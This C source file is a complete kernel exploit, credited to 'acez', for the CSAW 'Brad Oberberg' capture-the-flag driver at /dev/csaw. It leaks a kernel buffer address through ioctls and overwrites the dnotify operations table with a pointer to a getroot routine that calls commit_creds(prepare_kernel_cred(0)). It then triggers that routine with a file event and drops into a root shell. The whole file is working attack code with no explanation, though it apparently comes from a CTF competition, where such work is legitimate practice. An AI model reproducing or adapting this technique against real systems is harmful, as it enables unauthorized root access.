/*
    CSAW 'Brad Oberberg' Kernel exploit
    by acez
*/

#define _GNU_SOURCE     /* needed to get the defines */
#include <fcntl.h>
#include <signal.h>
#include <unistd.h>
#include <stdio.h>
#include <assert.h>
#include <sys/mman.h>
#include <malloc.h>                             
#include <string.h>                             
                                                
#define CSAW_IOCTL_BASE     0x77617363          
#define CSAW_ALLOC_HANDLE   CSAW_IOCTL_BASE+1   
#define CSAW_READ_HANDLE    CSAW_IOCTL_BASE+2   
#define CSAW_WRITE_HANDLE   CSAW_IOCTL_BASE+3   
#define CSAW_GET_CONSUMER   CSAW_IOCTL_BASE+4   
#define CSAW_SET_CONSUMER   CSAW_IOCTL_BASE+5   
#define CSAW_FREE_HANDLE    CSAW_IOCTL_BASE+6   
#define CSAW_GET_STATS      CSAW_IOCTL_BASE+7   
                                                
#define DRIVER "/dev/csaw"                      

/* hardcoding is bad, but that's not my problem */
#define PREP_CRED 0xc1073e10
#define COMMIT_CREDS 0xc1073be0
#define DNOTIFY_OPS 0xc18dc508

struct alloc_args {
    unsigned long size;
    unsigned long handle;
};

struct free_args {
    unsigned long handle;
};


struct read_args {
    unsigned long handle;
    unsigned long size;
    void *out;
};

struct write_args {
    unsigned long handle;
    unsigned long size;
    void *in;
};

struct consumer_args {
    unsigned long handle;
    unsigned long pid;
    unsigned char offset;
};

struct csaw_stats {
    unsigned long clients;
    unsigned long handles;
    unsigned long bytes_read;
    unsigned long bytes_written;
    char version[40];
};

static volatile int event_fd;
static volatile int event_sig;
static volatile void *event_data;

/* dnotify handler  (won't be called but w/e )*/
static void handler(int sig, siginfo_t *si, void *data)
{

  event_fd = si->si_fd;
  event_sig = sig;
  event_data = data;
}

                                                                          
int do_set_consumer(int fd, struct consumer_args * c){                     
        return ioctl(fd, CSAW_SET_CONSUMER, c);                            
}                                                                          
 
int do_get_consumer(int fd, struct consumer_args * c){                     
        return ioctl(fd, CSAW_GET_CONSUMER, c);                            
}                                                                          

int do_alloc_handle(int fd, struct alloc_args * a){                        
        return ioctl(fd, CSAW_ALLOC_HANDLE, a);                            
}                                                                          
                                                                           
int do_get_stats(int fd, struct csaw_stats * cs){                          
        return ioctl(fd, CSAW_GET_STATS, cs);                              
}                                                                          
 
int do_write_handle(int fd, struct write_args * wa){
        return ioctl(fd, CSAW_WRITE_HANDLE, wa);
}

int do_read_handle(int fd, struct read_args * ra){
        return ioctl(fd, CSAW_WRITE_HANDLE, ra);
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int __attribute__((regparm(3)))
    getroot(void * file, void * vma)
{

        commit_creds(prepare_kernel_cred(0));
        return -1;  

}

int main(int argc, char **argv){                                           
        struct sigaction act; 
        struct consumer_args * cargs = NULL;                               
        struct alloc_args * aargs = NULL;                                  
        struct write_args * wargs = NULL;
        unsigned long buf_addr;
        unsigned long hdl;
        unsigned long seed;
        unsigned long ptrbuf[] = {(unsigned long)&getroot};                                                 
        int i = 0, fd, fdi, j, err;                                                     
        commit_creds = (_commit_creds) COMMIT_CREDS;
        prepare_kernel_cred = (_prepare_kernel_cred) PREP_CRED;

       
        act.sa_sigaction = handler;
        sigemptyset(&act.sa_mask);
        act.sa_flags = SA_SIGINFO;
        sigaction(SIGRTMIN + 1, &act, NULL);

        /* set up dnotify */
        fdi = open("./", O_RDONLY);
        fcntl(fdi, F_SETSIG, SIGRTMIN + 1);
        fcntl(fdi, F_NOTIFY, DN_ACCESS|DN_MODIFY|DN_CREATE|DN_RENAME|DN_DELETE|DN_ATTRIB|DN_MULTISHOT);


        cargs = malloc(sizeof(struct consumer_args));                      
        if(!cargs){                                                        
            printf("malloc: cargs\n");                                 
            return -1;                                                 
        }                                                                  

        aargs = malloc(sizeof(struct alloc_args));                         
        if(!aargs){                                                        
            printf("malloc: aargs\n");                                 
            return -1;                                                 
        }                                                                  

        wargs = malloc(sizeof(struct write_args));                        
        if(!wargs){                                                       
            printf("malloc: wargs\n");                                 
            return -1;                                                 
        }                                                                  

        memset(cargs, 0, sizeof(struct consumer_args));                    
        memset(aargs, 0, sizeof(struct alloc_args));                       
        memset(wargs, 0, sizeof(struct write_args));

        fd = open(DRIVER, O_RDWR);                                         
        if(fd < 0){                                                        
            printf("open failed\n");                                       
            return -1;                                                     
        }                                                                  


        /* Allocate a handle */                                            
        aargs->size = 256;                                                 

        if(err = do_alloc_handle(fd, aargs)){
            perror("ioclt alloc handle");                            
            return -1;                                                 
        }                                                                  

        hdl = aargs->handle;                                               
        printf("[+] handle: %08x\n", (unsigned int)hdl); 

        /* Leak the address of buf and compute the seed */
        cargs->offset = 255;
        cargs->handle = hdl;

        if(err = do_get_consumer(fd, cargs)){                            
            perror("ioct get consumer");
            return -1;
        }                                                                  

        buf_addr = cargs->pid;
        printf("[+] buf_addr: %08x\n", buf_addr);
        seed = buf_addr ^ hdl;

        cargs->handle = hdl;                                       
        cargs->offset = 255;        // overwrite cbuf->buf
        cargs->pid = DNOTIFY_OPS;   // target address to overwrite dnotif_fsnotiy_ops.should_handle_event

        if(err = do_set_consumer(fd, cargs)){                            
            perror("ioct set consumer");
            return -1;
        }                                                                  


        /* Perform the overwrite */
        wargs->in = ptrbuf;
        wargs->handle = seed ^ DNOTIFY_OPS;
        wargs->size = 0x4; 

        if(err = do_write_handle(fd, wargs)){
            perror("ioct write consumer");
            return -1;
        }

        /* Looking at stuff */
        cargs->offset = 255;
        cargs->handle = seed ^ DNOTIFY_OPS;

        if(err = do_get_consumer(fd, cargs)){                            
            perror("ioct get consumer");
            return -1;
        }                                                                  

        printf("[+] new handle: %08x\n", (unsigned int)cargs->handle); 
        printf("[+] new buf addr: %08x\n", (unsigned int)cargs->pid);

        /* Trigger dnotify event */
        j = open("./poop", O_CREAT);
        close(j);
        unlink("./poop"); 

        close(fdi);
        close(fd);
        
        free(cargs);
        free(aargs);
        free(wargs);

        if(getuid()){
            printf("damn...\n");
            return -1;
        }
        execl("/bin/sh", "sh", NULL);
}                                                                          

